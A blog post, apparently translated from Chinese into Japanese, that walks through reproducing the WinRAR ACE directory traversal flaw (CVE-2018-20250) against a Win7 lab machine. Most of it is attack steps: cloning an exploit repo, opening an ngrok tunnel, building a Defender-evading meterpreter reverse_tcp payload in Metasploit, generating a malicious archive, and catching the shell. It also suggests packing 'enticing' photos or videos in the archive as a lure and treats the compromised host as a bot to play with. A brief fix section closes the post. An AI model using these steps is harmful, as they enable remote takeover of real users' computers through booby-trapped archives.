banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

WinRARディレクトリトラバーサル脆弱性-CVE-2018-20250 再現

起因#

WinRAR 中国ダウンロードページからの内容

Check Point Software Technologies の Nadav Grossman が、UNACEV2.DLL ライブラリのセキュリティ脆弱性について紹介しました。この脆弱性により、ACE アーカイブを解凍する際に、ターゲットフォルダ内または外部の任意のフォルダにファイルを作成することができます。WinRAR はこのサードパーティライブラリを使用して ACE アーカイブを解凍します。2005 年以降、UNACEV2.DLL は更新されておらず、ソースコードにアクセスできません。そのため、WinRAR ユーザーの安全を守るために ACE アーカイブ形式のサポートを放棄することにしました。

image

報告元:Extracting a 19 Year Old Code Execution from WinRAR

影響を受けるバージョン:

WinRAR < 5.70 Beta 1
Bandizip <= 6.2.0.0
Haozip (2345 圧縮) <= 5.9.8.10907
360 圧縮 <= 4.0.0.1170

脆弱性が発表されると、各セキュリティ会社はすぐに脆弱性と悪意のあるサンプルの分析を開始しました:

** フラグ:脆弱性の利用結果が起動項目にファイルを追加することだとわかれば、この脆弱性は各セキュリティソフトに阻止される可能性が高いことがわかります。ここに言っておきます **

脆弱性成因分析#

初心者としてできることは、大御所たちの分析を見て、見慣れた後に自分で分析を試みることだけで十分です。

ほとんどの脆弱性分析の記事は、元の報告の内容を再現しています。

脆弱性再現#

この動的リンクライブラリの役割は ACE 形式ファイルを処理することです。そして、解凍処理の過程でディレクトリトラバーサルの脆弱性が存在し、解凍プロセスがファイルを起動項目に書き込むことを許可し、コード実行を引き起こします。

参考記事:

環境準備#

  • 攻撃機:Kali 2019.1 インターネット接続

  • 靶機:Win7 SP1 インターネット接続

WinRAR v5.6 ダウンロードリンク:http://www.zdfans.com/html/5737.html

ここで中国人が翻訳したものをダウンロードしましたが、問題ありません、バージョンが合っていれば大丈夫です:

image

脆弱性を引き起こすUNACEV2.dllファイルがまだ存在することが確認できれば OK です:

image

winrar の exp をダウンロード#

git clone https://github.com/WyAtu/CVE-2018-20250.git

ネット速度が遅い方は、私が gitee にクローンしたものを使用できます:

git clone https://gitee.com/soapffz/CVE-2018-20250.git

image

ngrok トンネルを開く#

もちろん、内部ネットワーク攻撃の場合はこのステップは必要ありません。

  • トンネルを開通

ウェブサイト https://www.ngrok.cc を開き、アカウントがない場合は登録してください。ログインし、左側のトンネル管理 -> トンネルを開通 -> 右下の香港 Ngrok 無料サーバーを選択:

image

  • ngrok トンネルのプロトコルを TCP に設定し、内部 IP を自分の KaliLinux の内部 IP に変更し、内部ポート番号は任意で衝突しないように記入します。

サービスを開通すると、どのポートに切り替えても次のようになります:

image

明らかに、これはマーケティング戦略で、10 元を支払って VIP サーバーを開通しました:

image

  • ダウンロードNgrok の 64 ビットバージョンクライアントをローカルに

  • トンネルを開通:

./sunny clientid あなたのトンネルID

image

image

ペイロードの設定#

  • Metasploit を開き、免疫モジュールを選択

ペイロードを生成:

evasion/windows/windows_defender_exe は msf5 に新しく追加されたモジュールで、Kali のバージョンが低い場合は、Metasploit を更新するだけで大丈夫です:

msfconsole
use evasion/windows/windows_defender_exe(msf5免疫モジュールを選択)
show info(モジュール情報を表示)
set filename WinRarPayloadTest.exe(ペイロード名を設定)
set payload windows/meterpreter/reverse_tcp(ペイロードタイプを設定)
set lhost あなたのドメイン名(オンラインアドレスを設定、Ngrokでマッピングされたアドレスを記入、ポート番号とプロトコルタイプは含めない)
set lport あなたのポート(リスニングポートを設定、Ngrokでマッピングされたポートを記入)
run(ペイロードを生成)

image

ペイロードのパスアドレス:/root/.msf4/local/WinRarPayload.exe

  • 上記で生成された exe プログラムを以前にダウンロードした exp フォルダにコピーします:

exp.py の rar_filename と evil_filename の値を変更:

image

python exp.pyを実行すると、ファイルのルートディレクトリに悪意のある圧縮パッケージが自動的に生成されます:

image

さて、エラーが出ました、Kali を閉じて寝ます、冗談です~

著者は Read.me でこの問題を提起しました:https://gitee.com/soapffz/CVE-2018-20250/blob/master/README.md

もしあなたの python の環境変数がpython2python3のように設定されている場合、exp.pyファイル内のget_right_hdr_crc関数で、acefile.pyを開くこの行のコードを

p = os.popen('py -3 acefile.py --headers %s'%(filename))

あなたの python の開き方に変更してください、例えば:

p = os.popen('python3 acefile.py --headers %s'%(filename))

image

もちろん、あなたの環境でpy -3コマンドを実行できる場合は変更する必要はありません。

image

悪意のある圧縮パッケージが正常に生成されました。この時、いくつかの写真や動画(あなたが理解していること)を中に入れると、魅力的な圧縮パッケージになります。

生成された圧縮ファイルを www ディレクトリにコピーし、Apache2 サービスを開始します。

image

靶機のオンラインとリスニング#

Windows7 の靶機でこの悪意のある圧縮パッケージをダウンロードして解凍します:

image

Win7 のスタートディレクトリに次のように表示されます:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

私たちの悪意のある payload.exe が現れました:

image

Metasploit がリモートリスニングホストのオンライン要求を開始します:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost Kaliのip
set lport 前にngrokで設定した内部ポート
run

image

  • ngrok のバックグラウンドが実行中であることを確認し、Win7 を再起動すると、Kali でしばらく待つと Win7 がオンラインになっているのが見えます:

image

シェルに入れば Win7 を操作できます:

完璧な肉鶏が制御され、次はゲームを楽しむだけです!!!

脆弱性修正#

  • バージョン 5.70.2.0 にアップグレード

  • インストールディレクトリから UNACEV2.dll ファイルを削除

  • 機密性の高い圧縮パッケージを受け取った場合は注意し、好奇心に負けないようにしましょう!

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。